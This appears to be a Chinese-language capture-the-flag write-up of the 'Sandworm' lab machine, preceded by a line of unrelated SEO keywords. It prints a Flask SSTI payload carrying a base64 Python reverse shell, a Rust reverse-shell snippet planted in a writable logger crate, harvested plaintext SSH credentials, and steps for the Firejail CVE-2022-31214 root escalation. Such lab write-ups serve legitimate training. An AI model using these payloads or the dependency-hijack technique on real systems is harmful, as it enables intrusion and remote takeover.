wordpress小红心插件,it设备网站如何做seo,青岛定制网站建设,需要优化的网站有哪些?Sandworm
Sandworm 是一台中等难度的 Linux 机器#xff0c;它托管了一个具有“PGP”验证服务的 Web 应用程序#xff0c;该服务容易受到服务器端模板注入 #xff08;SSTI#xff09; 的攻击#xff0c;导致“Firejail”监狱内的远程代码执行 #xff08;RCE#xff0…Sandworm
Sandworm 是一台中等难度的 Linux 机器它托管了一个具有“PGP”验证服务的 Web 应用程序该服务容易受到服务器端模板注入 SSTI 的攻击导致“Firejail”监狱内的远程代码执行 RCE。可以在监狱中发现明文凭据这会导致作为计算机用户之一对计算机进行“SSH”访问。从那里发现了一个 cronjob它编译并运行一个“Rust”二进制文件。该程序依赖于一个自定义的外部日志记录箱用户对该箱具有写入权限然后使用该箱作为运行 cronjob 的“atlas”用户获取 shell。最后最近的“Firejail”漏洞“CVE-2022-31214”用于创建一个沙盒攻击者可以在其中运行“su”命令并在目标系统上获取“root”shell。 外部信息收集
端口扫描
循例nmap Web枚举
访问80跳转到ssa.htb 我看到网站底部有一个熟悉的flask 在contact有一个表单用于提交pgp加密的消息它似乎会回复我们接着看
在/guide是一个pgp加解密器 /pgp给了我们public key 将公钥保存到本地
将公钥导入 再用gpg利用公钥加密我们自定义的消息 已经知道是flask了所以应该考虑ssti通过decrypt尝试ssti发现不行 SSTI
验证签名处我们可以生成key然后使用公钥解密签名在生成key的时候嵌入ssti payload 然后再使用这个公钥对消息进行签名 将公钥导出 将公钥和签名提交到网站
它payload成功被执行了 hacktricks随便来个ssti payload
{{ cycler.__init__.__globals__.os.popen(id).read() }}来个python3 reverse shell payloadbase64一下 最终ssti payload
{{ cycler.__init__.__globals__.os.popen(echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE4Iiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn | base64 -d | bash).read() }}nc监听它如期而至 但这个shell似乎有点问题无法回车我们只需要升级一下这个shell
ctrl z
stty raw -echo;fg但这个shell是受限制的能做的事情很有限
本地横向移动 - silentobserver
在家目录的.config目录下的httpie/里面我们能够找到一个admin.json文件
atlassandworm:~/.config/httpie/sessions/localhost_5000$ cat ./admin.json
{__meta__: {about: HTTPie session file,help: https://httpie.io/docs#sessions,httpie: 2.6.0},auth: {password: quietLiketheWind22,type: null,username: silentobserver},cookies: {session: {expires: null,path: /,secure: false,value: eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA}},headers: {Accept: application/json, */*;q0.5}
}这组凭据能够直接登录ssh同时拿到user flag 获得不受限制的shell - atlas
传个pspy过去 2023/12/21 08:26:01 CMD: UID0 PID3784 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID0 PID3783 | /bin/sh -c cd /opt/tipnet /bin/echo e | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID1000 PID3786 | /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID1000 PID3787 | /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID1000 PID3788 | rustc - --crate-name ___ --printfile-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfopacked
2023/12/21 08:26:01 CMD: UID1000 PID3790 | rustc - --crate-name ___ --printfile-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --printsysroot --printcfg
2023/12/21 08:26:01 CMD: UID1000 PID3792 | /usr/bin/cargo run --offline
2023/12/21 08:26:11 CMD: UID0 PID3796 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:26:11 CMD: UID0 PID3797 | /bin/rm -r /opt/crates
2023/12/21 08:26:11 CMD: UID0 PID3798 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:26:11 CMD: UID0 PID3799 | /usr/bin/chmod us /opt/tipnet/target/debug/tipnet
2023/12/21 08:28:01 CMD: UID0 PID3807 | /usr/sbin/CRON -f -P
2023/12/21 08:28:01 CMD: UID0 PID3806 | /usr/sbin/CRON -f -P
2023/12/21 08:28:01 CMD: UID0 PID3808 | /usr/sbin/CRON -f -P
2023/12/21 08:28:01 CMD: UID0 PID3809 | sleep 10
2023/12/21 08:28:01 CMD: UID0 PID3812 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:28:01 CMD: UID0 PID3810 | /bin/sh -c cd /opt/tipnet /bin/echo e | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:28:01 CMD: UID0 PID3813 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:28:01 CMD: UID1000 PID3814 | rustc -vV
2023/12/21 08:28:01 CMD: UID1000 PID3815 | rustc - --crate-name ___ --printfile-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfopacked
2023/12/21 08:28:01 CMD: UID1000 PID3817 | rustc - --crate-name ___ --printfile-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --printsysroot --printcfg
2023/12/21 08:28:02 CMD: UID1000 PID3819 | rustc -vV
2023/12/21 08:28:11 CMD: UID0 PID3823 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:28:11 CMD: UID0 PID3824 |
2023/12/21 08:28:11 CMD: UID0 PID3825 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:28:11 CMD: UID0 PID3826 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:30:01 CMD: UID0 PID3833 | /usr/sbin/CRON -f -P 在/opt下我们可以找到它们
我们无权修改main.rs但是通过cargo.toml发现它调用的logger模块是在/opt/crates下的 lib.rs可写 将rust reverse shell payload拿下来改一改
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};fn main() {let s TcpStream::connect(10.0.0.1:4242).unwrap();let fd s.as_raw_fd();Command::new(/bin/sh).arg(-i).stdin(unsafe { Stdio::from_raw_fd(fd) }).stdout(unsafe { Stdio::from_raw_fd(fd) }).stderr(unsafe { Stdio::from_raw_fd(fd) }).spawn().unwrap().wait().unwrap();
}把shellcode改到lib.rs的log函数中当main那边调用log函数时我们的nc应该会收到shell 本地权限提升 - CVE-2022-31214
我们在atlas的不受限制的shell中发现了一个新的组查找一下有关该组的目录和文件 don’t upgrade
升级一下shell 但是我发现使用pty之后shell似乎又变得受限了所以重新获取了一次shell
可以看到firejail版本是0.9.68并且还有root的suid 在谷歌搜索版本相关的漏洞能够找到一篇文章 这个cve能够帮助我们利用其来进行权限提升并且还提供了exp 先通过常规操作向atlas用户写入ssh key然后通过ssh登录签名的reverse shell先不要关 运行exp 在另一个atlas的shell下执行firejail --join root flag在老地方